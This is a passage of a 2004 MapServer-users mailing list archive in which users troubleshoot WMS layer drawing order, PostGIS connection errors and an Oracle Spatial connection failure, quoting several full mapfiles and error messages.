>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Buildings
>>   TYPE POLYGON
>>   STATUS ON
>>   DATA Buildings
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "buildings.html"
>>   CLASS
>>     NAME "Buildings"
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 0 0
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Buildings"
>>     "WMS_ABSTRACT" "Buildings layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME BuildingCenters
>>   TYPE POINT
>>   STATUS ON
>>   DATA BuildingCenters
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   CLASS
>>     NAME "BuildingCenters"
>>     COLOR 0 0 0
>>     SYMBOL 'circle'
>>     SIZE 4
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:BuildingCenters"
>>     "WMS_ABSTRACT" "BuildingCenters layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> END # Map File
>>
>>
>> nicolas.fortin at ec.gc.ca wrote:
>>
>>> Hi Heryk,
>>>
>>> Only the layer 1 is set to default, all other are set to OFF.  I
>>> thought that doesn't matter in WMS cause you only got the layers you
>>> are querying.
>>>
>>> I set layer 1 to ON and
>>> 1- try LAYERS=2,1 and only got layer 2
>>> 2- try LAYERS=1 and got nothing
>>>
>>> I set layer 1 to OFF (like the others) and
>>> 1- try LAYERS=2,1 and only got layer 2
>>> 2- try LAYERS=1 and got nothing
>>>
>>> Weird...
>>> Nick
>>>
>>> -----Message d'origine-----
>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>> Envoy? : Monday, January 12, 2004 4:00 PM
>>> ? : 'nicolas.fortin at ec.gc.ca'
>>> Objet : RE: [Mapserver-users] WMS LAYERS=
>>>
>>>
>>> Hi,
>>> Are your layers set to "default" in the mapfile? Is so, you will be
>>> calling layers 1,2 and all the layers that are set to default! So
>>> your might be calling layers 1 and 2 a second time around! Try
>>> setting them to "ON".
>>>
>>> Bonne chance!
>>> H?ryk
>>>
>>>
>>> -----Message d'origine-----
>>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy?
>>> : Monday, January 12, 2004 3:30 PM ? :
>>> mapserver-users at lists.gis.umn.edu Objet
>>> : [Mapserver-users] WMS LAYERS=
>>>
>>>
>>> Hi list,
>>>
>>> When I make a WMS request with the layers parameters like LAYERS=2,1
>>>
>>> In accordance to the OGC WMS Spec, layer 1 is suppose to be at the
>>> top of layer 2 but it isn't the case...why??
>>>
>>> Even if I change to LAYERS=1,2 ... no change
>>>
>>> In the mapfile, layer 1 is at the end of the file and is always the
>>> top layer on others applications using this mapfile.
>>>
>>>
>>> Thx for your help,
>>>
>>> Nicolas Fortin
>>> Math?maticien, Programmeur, Analyste de donn?es
>>> SMC-Qu?bec Hydrologie, Environnement Canada
>>> 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5
>>> (418)648-2516
>>> nicolas.fortin at ec.gc.ca 
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>>
>>>
>>
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>
>
>



-- 
  


From eric at gomoos.org  Thu Jan 15 11:13:45 2004
From: eric at gomoos.org (Eric Bridger)
Date: 15 Jan 2004 14:13:45 -0500
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
In-Reply-To: <1074191988.4006de74f3577@www.agi-lan.com>
References: <1074191988.4006de74f3577@www.agi-lan.com>
Message-ID: <1074194030.1511.57.camel@ubet.gomoos.org>

Just started using postgis recently and the error messages are a bit
cryptic.  Just yesterday I spent an hour staring at a simliar error (you
can try running the query i.e. everything after BINARY CURSOR FOR from
psql to see if it works).  Until I checked the postgres log and realized
that the table created by shp2pgsql had not granted permissions for my
web user.  GRANT SELECT ON .... TO PUBLIC fixed the problem.

The using clauses are for advance queries with a sub-select. You are
probably using the (1) the_geom from [table_name] form of query.

Note: there is a postgis list at:
http://postgis.refractions.net/mailman/listinfo/postgis-users

On Thu, 2004-01-15 at 13:39, Jason M. Nielsen wrote:
> First I would like to say mapserver and all its associated software is awsome.
> Its incredible what a community can accomplish when working towards a common
> goal using truly open standards.  Very impressive.
> 
> Is there any holding your hand walk throughs on implementing a Mapserver +
> PostGIS system? Looking for something where we can dump SHP files into the db as
> well as rasters then view them.
> 
> At the moment I have mapserver compiled with most of the required options
> (missing PHP/Mapscript support, having a hell of time getting it to compile due
> to some axps deal in my current php setup), Postgresql is installed running and
> being used, PostGIS is installed and appears to work.
> 
> I have actually dumped shp files into the database no problem with shp2pgsql but
> I was never able to get the connection to work nor could I envision in my head
> how it all linked together or would be. It appears there is something I have to
> do with indexing but I havent the slightest clue where to begin or how it
> applies to querying the PostGIS DB similar to just having shp files.
> 
> I have the demo working apparently perfectly and even setup my own map with
> layers without a hitch using map and shp files.
> 
> Below is the error I get now when trying to pull the data from the postgis db. I
> have tried "the_geom" and "geometry_column". I also queried the table and the
> field name is "the_geom". The list 1 and 2(below) I do not understand what
> exactly they are referring to. That is, where do I do this? What exactly is it?
> 
> http://postgis.refractions.net/docs/x556.html
> 
> I checked the above site and perhaps I am just not reading it carefully enough
> but even once I create these indexes it seems like I need to do something
> somewhere else if for no other reason than creating them had no affect on the
> outcome of my query.
> 
> -----------------------
> msDrawMap(): Image handling error. Failed to draw layer named 'Utah Geological
> Study'.
> prep_DB(): Query error. Error executing POSTGIS DECLARE (the actual query)
> statement: 'DECLARE mycursor BINARY CURSOR FOR SELECT
> name::text,asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from
> s81 WHERE the_geom && setSRID('BOX3D(1781048.9509602
> 472006.998403,2143367.3005688 833751.562963)'::BOX3D,
> find_srid('','s81','the_geom') )'
> 
> Postgresql reports the error ''
> 
> More Help:
> 
> Error with POSTGIS data variable. You specified ''.
> Standard ways of specifiying are :
> (1) 'geometry_column from geometry_table'
> (2) 'geometry_column from () as foo using unique  using
> SRID='
> 
> Make sure you put in the 'using unique ' and 'using SRID=#' clauses in.
> 
> For more help, please see http://postgis.refractions.net/documentation.php
> 
> Mappostgis.c - version of June 12/2003. 
> -----------------------
> Where do these two "using" clauses go?
> 
> 
> Thanks,
> Jason Nielsen
> 
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From TMitchell at lignum.com  Thu Jan 15 11:18:44 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Thu, 15 Jan 2004 11:18:44 -0800
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
In-Reply-To: <1074191988.4006de74f3577@www.agi-lan.com>
Message-ID: 





> Is there any holding your hand walk throughs on implementing a Mapserver
+
> PostGIS system? Looking for something where we can dump SHP files
> into the db as
> well as rasters then view them.

Hi Jason, glad to hear you're taking the next step.
It would be helpful for us if you could post a couple more bits of info:
- contents of your map file
- describe structure of the postgis table in question (ie in psql: >\d
 )
- complete listing of your geometry_columns table

That should help us track with your problem a bit more.

Tyler

p.s. "Mapserver + PostGIS for dummies" is a bit of an oxymoron ;)




From nicolas.fortin at ec.gc.ca  Thu Jan 15 11:18:30 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Thu, 15 Jan 2004 14:18:30 -0500
Subject: [Mapserver-users] RE : OracleSpatial Error
Message-ID: 

Thx for your fast reply,

If I make a mistake in the CONNECTION or DATA, I get the same error !
It's weird I can get an image with shp2img with the same mapfile but not
with mapserver on the web server.
The OCI is in the path and IUSR_ have access to it.

Thx for the info about MS_ERRORFILE but is "stderr" suppose to be a file??

Nicolas

-----Message d'origine-----
De : Bart van den Eijnden [mailto:bartvde at xs4all.nl] 
Envoy? : Thursday, January 15, 2004 1:52 PM
? : nicolas.fortin at ec.gc.ca; mapserver-users at lists.gis.umn.edu
Objet : Re: RE : [Mapserver-users] RE : OracleSpatial Error


Hi Nicolas,

here is some info on the MS_ERRORFILE:

http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?DebuggingMapserver

What happens if you make a mistake in the DATA part, e.g. a non-existent 
table? What kind of error message do you get then, normally you would get 
an ORA message, but if it cannot make the connection at all, there must be 
something wrong at the connection level. But just to rule out things.

Is the OCI library in the path?

Best regards,
Bart

On Thu, 15 Jan 2004 13:39:19 -0500,  wrote:

>
> Hi Bart!
>
> Yes it's the full error message ... No ORA-XXXXX message so it's
> difficult
> to know what happens.
> In the logfile of mapserver (DEBUG TRUE and LOG "log.txt"), the same 
> message
> is writing by mapserver.
> I didn't know about the MS_ERRORFILE Env Var...what is it??
>
> I'm on Windows 2000 and IIS and both Oracle (Client and DB) are 
> 9.2.0.3 I can't replicate this error nowhere but on this server...and 
> I tried mapserver on 4 workstations/server now.
>
> Thx,
> Nicolas
>
> -----Message d'origine-----
> De : Bart van den Eijnden [mailto:bartvde at xs4all.nl]
> Envoy? : Thursday, January 15, 2004 1:35 PM
> ? : nicolas.fortin at ec.gc.ca; mapserver-users at lists.gis.umn.edu Objet : 
> Re: [Mapserver-users] RE : OracleSpatial Error
>
>
> Hi Nicolas,
>
> is this the full error message, or an error message showing up in your 
> browser after performing a WMS request?
>
> In other words, have you set the MS_ERRORFILE environment variable to 
> get full debugging output?
>
> BTW: what platform is your server on and which Oracle version? Do you
> have
> the same (version of the) Oracle client installed on the server and on
> your workstation? What webserver do you have?
>
> Best regards,
> Bart
>
> On Thu, 15 Jan 2004 09:35:53 -0500,  wrote:
>
>>
>> Hi again!
>>
>> My Oracle problem on the server is not solved yet.
>>
>> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
>> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>>
>> More observations :
>> I can get an image with the shp2img utilities and the same mapfile. I 
>> can make Oracle spatial query from SQL*Plus on the server without 
>> error. I use the same layers and Oracle connection/user of this 
>> mapfile on my workstation without error.
>>
>> The error only appears when the request is made to the web server
>>
>> I'm open to all kind of suggestions!
>> Thx
>> Nicolas
>>
>> -----Message d'origine-----
>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? 
>> : Tuesday, January 13, 2004 10:29 AM ? : nsavard at dmsolutions.ca; 
>> hjulien at nrcan.gc.ca Cc : mapserver-users at lists.gis.umn.edu Objet : RE 
>> : RE : RE : [Mapserver-users] WMS LAYERS= [SOLVED] But an Orac le
>> one too!
>>
>>
>>
>> Problem solved!
>> The mapfile sent below is not exactly the right one, in the other, 
>> one group has the same name as a layer.  By renaming the group, all 
>> is back to normal.
>>
>> Thx for your help!
>>
>> Now we have a weird oracle error message from the server we're trying 
>> to install mapserver, here it is:
>> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
>> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>>
>> I searched the archive but found nothing...
>> An idea? Someone...
>>
>> Nick
>>
>> -----Message d'origine-----
>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? 
>> : Tuesday, January 13, 2004 9:46 AM ? : nsavard at dmsolutions.ca Cc : 
>> mapserver-users at lists.gis.umn.edu Objet : RE : RE : [Mapserver-users] 
>> WMS LAYERS=
>>
>>
>>
>> Hi Normand, thx for your answer!
>> No, you don't have access to it cause it's only intranet for the 
>> moment...
>>
>> This afternoon, I'll try to place the layers like Heryk said to see 
>> if it works.
>>
>> Here's my wms request: 
>> http://f044d065/mapserv/mapcmitest2.asp?REQUEST=GetMap&SERVICE=wms&VE
>> R
>> SION=1
>> .1.1&Layers=2,1&BBOX=7610000,1222000,7622000,1234000
>>
>> And my mapfile:
>> #
>> ---------------------------------------------------------------------
>> # Mapserver 4.0 for Oracle
>> # Nicolas Fortin, Env Can nicolas.fortin at ec.gc.ca
>> # MapFile Test pour la CMI V1.4
>> # 
>> ---------------------------------------------------------------------
>>
>> NAME IJC4
>> EXTENT 7610000 1222000 7622000 1234000 #Lac St-Louis
>> SIZE 425 425
>> SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym'
>>
>> # Projection LCC de la CMI
>> PROJECTION
>>   "proj=lcc"
>>   "ellps=GRS80"
>>   "lat_0=63"
>>   "lon_0=-91.8666"
>>   "lat_1=49"
>>   "lat_2=77"
>>   "x_0=6200000"
>>   "y_0=2958000"
>>   "datum=NAD83"
>>   "units=m"
>> END
>>
>> WEB
>>   TEMPLATE defaultcmitest1.html
>>   HEADER header.html
>>   FOOTER footer.html
>>   IMAGEPATH "C:/Inetpub/wwwroot/tmp/"
>>   IMAGEURL "/tmp/"
>>   METADATA
>>     wms_title "WMS Quebec Node for IJC test2"
>>     wms_onlineresource "http://f044d065/mapserv/mapcmitest2.asp?"
>>     wms_contactelectronicmailaddress "nicolas.fortin at ec.gc.ca"
>>     wms_contactperson "Nicolas Fortin"
>>     wms_contactorganization "Environnement Canada, SMC-Hydrologie"
>>     wms_contactposition "Programmeur, Analyste de donn?es num?riques"
>>     wms_srs "EPSG:4326 EPSG:4269 EPSG:2145 EPSG:42304"
>>   END
>> END
>>
>> LEGEND
>>   STATUS ON
>>   LABEL
>>      COLOR 0 0 0
>>      SHADOWCOLOR 218 218 218
>>      SHADOWSIZE 2 2
>>      TYPE BITMAP
>>      SIZE MEDIUM
>>      POSITION CC
>>      PARTIALS FALSE
>>      BUFFER 2
>>   END
>> END
>>
>> REFERENCE
>>   STATUS ON
>>   IMAGE "c:\Inetpub\wwwroot\mapserv\images\ref_cmi_lite2.gif"
>>   SIZE 150 150
>>   EXTENT 7549910 1161398 7689518 1363371
>>   COLOR -1 -1 -1
>>   OUTLINECOLOR 255 0 0
>> END
>>
>> LAYER
>>   NAME "2"
>>   TYPE POLYGON
>>   CONNECTIONTYPE oraclespatial
>>   CONNECTION "user/****@quebijc"
>>   DATA "POLYGON FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000"
>>   STATUS OFF
>>   DUMP TRUE
>>
>>   METADATA
>>     wms_title "Quebec Watersheds"
>>     wms_extent "7035577.31 1082076.03 7833285.05 1507787.39"
>>   END
>>
>>   PROJECTION
>>     "proj=lcc"
>>     "ellps=GRS80"
>>     "lat_0=63"
>>     "lon_0=-91.8666"
>>     "lat_1=49"
>>     "lat_2=77"
>>     "x_0=6200000"
>>     "y_0=2958000"
>>     "datum=NAD83"
>>     "units=m"
>>   END
>>
>>   CLASS
>>     NAME "Watershed"
>>     SYMBOL 'CIRCLE'
>>     SIZE 2
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 204 0
>>   END
>> END
>>
>> LAYER
>>   NAME "1"
>>   TYPE LINE
>>   CONNECTIONTYPE oraclespatial
>>   CONNECTION "user/****@quebijc"
>>   DATA "LINE FROM USR_SHORELINE.VSHORELINE_LCC USING SRID 3000000"
>>   STATUS DEFAULT
>>   GROUP "Shoreline"
>>   DUMP TRUE
>>
>>   METADATA
>>     wms_title "St. Lawrence River Detailed Shoreline"
>>     wms_extent "7563132.5 1166237.24 7684888.9 1363371.77"
>>     wms_group_title "Shoreline"
>>   END
>>
>>   PROJECTION
>>     "proj=lcc"
>>     "ellps=GRS80"
>>     "lat_0=63"
>>     "lon_0=-91.8666"
>>     "lat_1=49"
>>     "lat_2=77"
>>     "x_0=6200000"
>>     "y_0=2958000"
>>     "datum=NAD83"
>>     "units=m"
>>   END
>>
>>   CLASS
>>     NAME "Detailed Shoreline"
>>     COLOR 0 51 255
>>     SYMBOL 'CIRCLE'
>>     SIZE 1
>>   END
>> END # Shoreline
>>
>> END
>>
>>
>> -----Message d'origine-----
>> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>> Envoy? : Monday, January 12, 2004 5:05 PM
>> ? : nicolas.fortin at ec.gc.ca
>> Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu Objet :
>> Re:
>> RE :
>> [Mapserver-users] WMS LAYERS=
>>
>>
>> Hi,
>>
>> I tried to replicate this problem without success by using our WMS
>> server used during the OGC compliance tests.   I also used the OGC test
>> suite requests.  I joined both the map file and the requests sent 
>> (see below).  Theses requests contain three layers.  In the first 
>> request, the "Forest" layer is drawn first.  In the second request, 
>> the "Forest" layer is drawn last.  You can also see that I modified 
>> the
> mapfile to
>> set the "Forest" layer status to "DEFAULT".   It does not seem to affect
>> the drawing order.  But maybe I'm missing something.  Do we have 
>> access your WMS server?  It is possible to have a copy of your 
>> mapfile and the request you are currently sending?
>>
>> Norm
>>
>>
>>
>> The requests used are.
>>
>>
>> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUE
>> S
>> T=GetM
>>
> ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042
> ,-0.00
>> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>>
>>
>> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUE
>> S
>> T=GetM
>>
> ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042
> ,-0.00
>> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>>
>>
>>
>> Our map file is as follow:
>>
>> #
>> # Start of map file
>> #
>> # $Id: ogc_cite_wms_server.map,Exp $
>> #
>> NAME OGC_CITE
>> STATUS ON
>> SIZE 600 400
>> ## EPSG:4326 extents
>> EXTENT -2 -2 -1 6
>> #EXTENT -0.0042 -0.0024 0.0042 0.0024
>>
>> UNITS METERS
>> SHAPEPATH "../data/shapefile"
>> IMAGECOLOR 255 255 255
>> FONTSET ../etc/fonts.txt
>> SYMBOLSET ../etc/symbols.sym
>>
>> #
>> # Start of web interface definition
>> #
>> WEB
>> # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the 
>> root # of the drive where the .MAP file resides. #
>>   IMAGEPATH "/tmp/ms_tmp/"
>>   IMAGEURL "/ms_tmp/"
>> #  LOG "/tmp/gmap.log"
>>   METADATA
>>     "WMS_TITLE"         "cite:OGC_CITE WMS Server"
>>     "WMS_ONLINERESOURCE"
>> "http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
>>     "WMS_SRS"           "EPSG:4326"
>>     "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
>>     "WMS_ACCESSCONTRAINTS" "none"
>>     "WMS_FEES"              "none"
>>
>>   END
>> END
>>
>> PROJECTION
>>   "init=epsg:4326"
>> END
>>
>> QUERYMAP
>>   SIZE 200 200
>>   STATUS ON
>>   STYLE HILITE
>>   COLOR 255 0 0
>> END
>>
>> #
>> # Start of layer definitions
>> #
>>
>> LAYER
>>   NAME BasicPolygons
>>   TYPE POLYGON
>>   STATUS OFF
>>   DATA BasicPolygons
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "basicpolygons.html"
>>   CLASS
>>     NAME "BasicPolygons"
>>     COLOR 194 194 194
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:BasicPolygons"
>>     "WMS_ABSTRACT" "BasicPolygons layer."
>> #    "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME DividedRoutes
>>   TYPE LINE
>>   STATUS ON
>>   DATA DividedRoutes
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   CLASS
>>     NAME "DividedRoutes"
>>     COLOR 0 0 0
>>     OUTLINECOLOR 0 0 0
>>     SYMBOL 'circle'
>>     SIZE 6
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:DividedRoutes"
>>     "WMS_ABSTRACT" "DividedRoutes layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME DividedRoutes_anno
>>   STATUS ON
>>   DATA DividedRoutes
>>   TYPE ANNOTATION
>>   LABELITEM "NAME"
>>   CLASS
>>     NAME "DividedRoutesAnnotations"
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 0 0
>>     SYMBOL 'routetag'
>>     SIZE 40
>>     OVERLAYSYMBOL "route75"
>>     OVERLAYSIZE 15
>>     OVERLAYCOLOR 0 0 0
>>     LABEL
>>       POSITION CC
>>       COLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 0
>>       PARTIALS false
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "DividedRoutes"
>>     "WMS_ABSTRACT" "Divided routes layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME MapNeatline
>>   TYPE LINE
>>   STATUS ON
>>   DATA MapNeatline
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   CLASS
>>     NAME "MapNeatline"
>>     COLOR 0 0 0
>>     SYMBOL 'circle'
>>     SIZE 3
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:MapNeatline"
>>     "WMS_ABSTRACT" "MapNeatline layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME NamedPlaces
>>   TYPE POLYGON
>>   STATUS ON
>>   DATA NamedPlaces
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   LABELITEM "NAME"
>>   CLASSITEM "NAME"
>>   TEMPLATE "namedplaces.html"
>>   CLASS
>>     NAME "Ashton"
>>     EXPRESSION "Ashton"
>>     #COLOR 153 153 153
>>     COLOR 192 192 192
>>     OUTLINECOLOR 0 0 0
>>     SIZE 8
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       BACKGROUNDCOLOR 192 192 192
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 10
>>       POSITION LR
>>       OFFSET 10 10
>>       PARTIALS FALSE
>>     END
>>   END
>>   CLASS
>>     NAME "Goose Island"
>>     EXPRESSION "Goose Island"
>>     COLOR 255 255 255
>>     SIZE 8
>>     TEXT "Goose | Island"
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       BACKGROUNDCOLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 4
>>       POSITION CC
>>       PARTIALS FALSE
>>       WRAP "|"
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:NamedPlaces"
>>     "WMS_ABSTRACT" "NamedPlaces layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Ponds
>>   TYPE POLYGON
>>   STATUS ON
>>   DATA Ponds
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "ponds.html"
>>   CLASS
>>     NAME "Ponds"
>>     COLOR 0 255 255
>>     OUTLINECOLOR 0 0 0
>>     TEXT "Stock Pond"
>>     LABEL
>>       COLOR  0 0 0
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 9
>>       #POSITION AUTO
>>       POSITION UC
>>       PARTIALS FALSE
>>       OFFSET 0 23
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Ponds"
>>     "WMS_ABSTRACT" "Ponds layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME RoadSegments
>>   TYPE LINE
>>   STATUS ON
>>   DATA RoadSegments
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   LABELITEM "NAME"
>>   CLASSITEM "NAME"
>>   CLASS
>>     NAME "MainStreet"
>>     EXPRESSION "Main Street"
>>     SYMBOL 'circle'
>>     SIZE 3
>>     COLOR 238 0 0
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       FONT fritqat-italic
>>       TYPE truetype
>>       SIZE 10
>>       POSITION UC
>>       PARTIALS FALSE
>>       OFFSET 0 2
>>     END
>>   END
>>   CLASS
>>     NAME "Route5"
>>     EXPRESSION "Route 5"
>>     SYMBOL 'circle'
>>     SIZE 3
>>     COLOR 0 0 0
>>   END
>>   CLASS
>>     NAME "Route75"
>>     EXPRESSION "Dirt Road by Green Forest"
>>     SYMBOL 'circle'
>>     SIZE 5
>>     #COLOR 255 255 0
>>     COLOR 192 160 0
>>     TEXT "Dirt Road"
>>     LABEL
>>       ANGLE 90
>>       COLOR  0 0 0
>>       FONT fritqat-italic
>>       TYPE truetype
>>       SIZE 10
>>       POSITION AUTO
>>       PARTIALS FALSE
>>       #OUTLINECOLOR 255 255 255
>>       OFFSET 0 5
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:RoadSegments"
>>     "WMS_ABSTRACT" "RoadSegments layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME RoadSegments_anno
>>   STATUS ON
>>   DATA RoadSegments
>>   TYPE ANNOTATION
>>   CLASSITEM "FID"
>>   LABELITEM "NAME"
>>   CLASS
>>     NAME "Route5NorthEastAnnotations"
>>     EXPRESSION "104"
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 0 0
>>     #OVERLAYCOLOR 0 0 0
>>     SYMBOL 'routetag'
>>     SIZE 25
>>     OVERLAYSYMBOL "route5"
>>     OVERLAYSIZE 15
>>     OVERLAYCOLOR 0 0 0
>>     LABEL
>>       POSITION CC
>>       COLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 0
>>       PARTIALS false
>>     END
>>   END
>>   CLASS
>>     NAME "Route5WestAnnotations"
>>     EXPRESSION "102"
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 0 0
>>     #OVERLAYCOLOR 0 0 0
>>     SYMBOL 'routetag'
>>     SIZE 25
>>     OVERLAYSYMBOL "route5"
>>     OVERLAYSIZE 15
>>     OVERLAYCOLOR 0 0 0
>>     LABEL
>>       POSITION CC
>>       COLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 0
>>       PARTIALS false
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "RoadSegments"
>>     "WMS_ABSTRACT" "RoadSegments layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END #Layer
>>
>> LAYER
>>   NAME Streams
>>   TYPE LINE
>>   STATUS ON
>>   DATA Streams
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   LABELITEM "NAME"
>>   CLASS
>>     NAME "Streams"
>>     COLOR 0 0 205
>>     OUTLINECOLOR 199 199 199
>>     SYMBOL 'circle'
>>     SIZE 2
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 205
>>       BACKGROUNDCOLOR 255 255 255
>>       FONT fritqat-italic
>>       TYPE truetype
>>       SIZE 10
>>       POSITION UC
>>       PARTIALS FALSE
>>       OFFSET 30 5
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Streams"
>>     "WMS_ABSTRACT" "Streams layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Forests
>>   TYPE POLYGON
>> #  STATUS ON
>>   STATUS DEFAULT
>>   DATA Forests
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "forests.html"
>>   CLASS
>>     NAME "Forests"
>>     COLOR 0 150 0
>>     OUTLINECOLOR 0 0 0
>>     MINSIZE 4
>>     #SYMBOL "sapin"
>>     SYMBOL "tree-gif"
>>     SIZE 90
>> #    OVERLAYSYMBOL "square"
>> #    OVERLAYSIZE 50
>> #    OVERLAYCOLOR -1 -1 -1
>>     TEXT "State | Forest"
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       BACKGROUNDCOLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 18
>>       POSITION AUTO
>>       PARTIALS FALSE
>>       WRAP "|"
>>       OFFSET 100 -60
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Forests"
>>     "WMS_ABSTRACT" "Forests layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Bridges
>>   TYPE POINT
>>   STATUS ON
>>   DATA Bridges
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   LABELITEM "NAME"
>>   CLASS
>>     NAME "Bridges"
>>     COLOR 0 0 0
>>     SYMBOL 'bridge'
>>     SIZE 40
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       FONT fritqat-italic
>>       TYPE truetype
>>       SIZE 10
>>       POSITION AUTO
>>       PARTIALS FALSE
>>       OFFSET 20 -8
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Bridges"
>>     "WMS_ABSTRACT" "Bridges layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Lakes
>>   TYPE POLYGON
>>   STATUS ON
>>   DATA Lakes
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "lakes.html"
>>   CLASS
>>     NAME "Lakes"
>>     COLOR 0 0 205
